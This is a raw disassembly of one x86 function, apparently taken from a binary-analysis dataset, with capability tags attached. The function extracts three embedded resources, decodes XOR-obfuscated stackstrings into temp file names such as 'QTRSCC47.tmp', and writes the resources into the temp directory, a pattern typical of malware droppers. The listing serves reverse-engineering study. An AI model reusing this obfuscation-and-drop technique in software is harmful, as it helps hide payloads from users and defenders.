Function at 0x1003cea0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100837b0
mov eax, dword fs:[0]
push eax
sub esp, 0x324
mov eax, dword [0x100ad540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
lea eax, [ebp - 0x260]
push eax
push 0x1003d5c0
push 4
mov dword [ebp - 0x260], 0
call ebx
push 0xff
push 0xfe
push dword [ebp - 0x260]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x264]
push eax
push 0x1003d5c0
push 4
call ebx
push edi
push dword [ebp - 0x264]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x268], 0
lea eax, [ebp - 0x268]
push eax
push 0x1003d5c0
push 4
call ebx
push edi
push dword [ebp - 0x268]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
lea ecx, [ebp - 0x330]
mov esi, eax
call fcn.100393e0
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x234], 0x70
mov eax, dword [ebp - 0x234]
xor al, 0x25
mov byte [ebp - 0x230], al
mov eax, dword [ebp - 0x234]
inc al
xor al, 0x73
mov byte [ebp - 0x22f], al
mov eax, dword [ebp - 0x234]
add al, 2
xor al, 0x51
mov byte [ebp - 0x22e], al
mov eax, dword [ebp - 0x234]
add al, 3
xor al, 0x54
mov byte [ebp - 0x22d], al
mov eax, dword [ebp - 0x234]
add al, 4
xor al, 0x52
mov byte [ebp - 0x22c], al
mov eax, dword [ebp - 0x234]
add al, 5
xor al, 0x53
mov byte [ebp - 0x22b], al
mov eax, dword [ebp - 0x234]
add al, 6
xor al, 0x43
mov byte [ebp - 0x22a], al
mov eax, dword [ebp - 0x234]
add al, 7
xor al, 0x43
mov byte [ebp - 0x229], al
mov eax, dword [ebp - 0x234]
add al, 8
xor al, 0x34
mov byte [ebp - 0x228], al
mov eax, dword [ebp - 0x234]
add al, 9
xor al, 0x34
mov byte [ebp - 0x227], al
mov eax, dword [ebp - 0x234]
add al, 0xa
xor al, 0x2e
mov byte [ebp - 0x226], al
mov eax, dword [ebp - 0x234]
add al, 0xb
xor al, 0x74
mov byte [ebp - 0x225], al
mov eax, dword [ebp - 0x234]
add al, 0xc
xor al, 0x6d
mov byte [ebp - 0x224], al
mov eax, dword [ebp - 0x234]
add al, 0xd
mov byte [ebp - 0x222], 0
xor al, 0x70
xor edx, edx
mov byte [ebp - 0x223], al
mov al, byte [ebp - 0x230]
nop
mov al, byte [ebp + edx - 0x230]
mov ecx, dword [ebp - 0x234]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x230], cl
inc edx
cmp edx, 0xe
jb 0x1003d080
lea eax, [ebp - 0x220]
mov byte [ebp - 0x222], 0
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.10039190
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x330]
push 0x40
push 0x12
push eax
call fcn.10050a30
cmp dword [ebp - 0x2e0], 0
je 0x1003d0fb
push 0
push edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10024d70
lea ecx, [ebp - 0x330]
call fcn.10040840
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x26c], 0
push eax
push 0x1003d5c0
push 4
call ebx
push 0xff
push 0xfd
push dword [ebp - 0x26c]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x270], 0
lea eax, [ebp - 0x270]
push eax
push 0x1003d5c0
push 4
call ebx
push edi
push dword [ebp - 0x270]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x274], 0
lea eax, [ebp - 0x274]
push eax
push 0x1003d5c0
push 4
call ebx
push edi
push dword [ebp - 0x274]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x248], 0x10
mov esi, eax
mov ecx, dword [ebp - 0x248]
xor cl, 0x25
mov byte [ebp - 0x244], cl
mov ecx, dword [ebp - 0x248]
inc cl
xor cl, 0x73
mov byte [ebp - 0x243], cl
mov eax, dword [ebp - 0x248]
add al, 2
xor al, 0x51
mov byte [ebp - 0x242], al
mov eax, dword [ebp - 0x248]
add al, 3
xor al, 0x54
mov byte [ebp - 0x241], al
mov eax, dword [ebp - 0x248]
add al, 4
xor al, 0x52
mov byte [ebp - 0x240], al
mov eax, dword [ebp - 0x248]
add al, 5
xor al, 0x53
mov byte [ebp - 0x23f], al
mov eax, dword [ebp - 0x248]
add al, 6
xor al, 0x43
mov byte [ebp - 0x23e], al
mov eax, dword [ebp - 0x248]
add al, 7
xor al, 0x43
mov byte [ebp - 0x23d], al
mov eax, dword [ebp - 0x248]
add al, 8
xor al, 0x34
mov byte [ebp - 0x23c], al
mov eax, dword [ebp - 0x248]
add al, 9
xor al, 0x35
mov byte [ebp - 0x23b], al
mov eax, dword [ebp - 0x248]
add al, 0xa
xor al, 0x2e
mov byte [ebp - 0x23a], al
mov eax, dword [ebp - 0x248]
add al, 0xb
xor al, 0x74
mov byte [ebp - 0x239], al
mov eax, dword [ebp - 0x248]
add al, 0xc
xor al, 0x6d
mov byte [ebp - 0x238], al
mov eax, dword [ebp - 0x248]
add al, 0xd
mov byte [ebp - 0x236], 0
xor al, 0x70
xor edx, edx
mov byte [ebp - 0x237], al
mov al, byte [ebp - 0x244]
mov al, byte [ebp + edx - 0x244]
mov ecx, dword [ebp - 0x248]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x244], cl
inc edx
cmp edx, 0xe
jb 0x1003d281
lea eax, [ebp - 0x220]
mov byte [ebp - 0x236], 0
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.10039190
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x330]
push 0x40
push 0x12
push eax
call fcn.10050a30
cmp dword [ebp - 0x2e0], 0
je 0x1003d2fc
push 0
push edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10024d70
lea ecx, [ebp - 0x330]
call fcn.10040840
lea eax, [ebp - 0x278]
mov dword [ebp - 0x278], 0
push eax
push 0x1003d5c0
push 4
call ebx
push 0xff
push 0xfb
push dword [ebp - 0x278]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
mov dword [ebp - 0x27c], 0
lea eax, [ebp - 0x27c]
push eax
push 0x1003d5c0
push 4
call ebx
push edi
push dword [ebp - 0x27c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
mov dword [ebp - 0x280], 0
lea eax, [ebp - 0x280]
push eax
push 0x1003d5c0
push 4
call ebx
push edi
push dword [ebp - 0x280]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x25c], 0x5d
mov esi, eax
mov byte [ebp - 0x258], 0x78
xor edx, edx
mov byte [ebp - 0x257], 0x2e
mov byte [ebp - 0x256], 0xc
mov byte [ebp - 0x255], 9
mov byte [ebp - 0x254], 0xf
mov byte [ebp - 0x253], 0xe
mov byte [ebp - 0x252], 0x1e
mov byte [ebp - 0x251], 0x1e
mov byte [ebp - 0x250], 0x69
mov byte [ebp - 0x24f], 0x6a
mov byte [ebp - 0x24e], 0x73
mov byte [ebp - 0x24d], 0x29
mov byte [ebp - 0x24c], 0x30
mov byte [ebp - 0x24b], 0x2d
mov al, byte [ebp - 0x258]
mov byte [ebp - 0x24a], 0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x258]
mov ecx, dword [ebp - 0x25c]
xor cl, al
mov byte [ebp + edx - 0x258], cl
inc edx
cmp edx, 0xe
jb 0x1003d410
lea eax, [ebp - 0x220]
mov byte [ebp - 0x24a], 0
push eax
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.10039190
add esp, 0xc
lea eax, [ebp - 0x118]
lea ecx, [ebp - 0x330]
push 0x40
push 0x12
push eax
call fcn.10050a30
cmp dword [ebp - 0x2e0], 0
je 0x1003d498
push 0
push edi
push esi
lea ecx, [ebp - 0x330]
call fcn.10024d70
lea ecx, [ebp - 0x330]
call fcn.10040840
lea eax, [ebp - 0x118]
push eax
call fcn.100345c0
add esp, 4
mov eax, dword [ebp - 0x330]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x334], eax
lea ecx, [ebp - 0x32c]
call fcn.100101c0
mov eax, dword [ebp - 0x330]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x330]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x334], eax
lea eax, [ebp - 0x2c8]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1005869d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10058f9b
mov esp, ebp
pop ebp
ret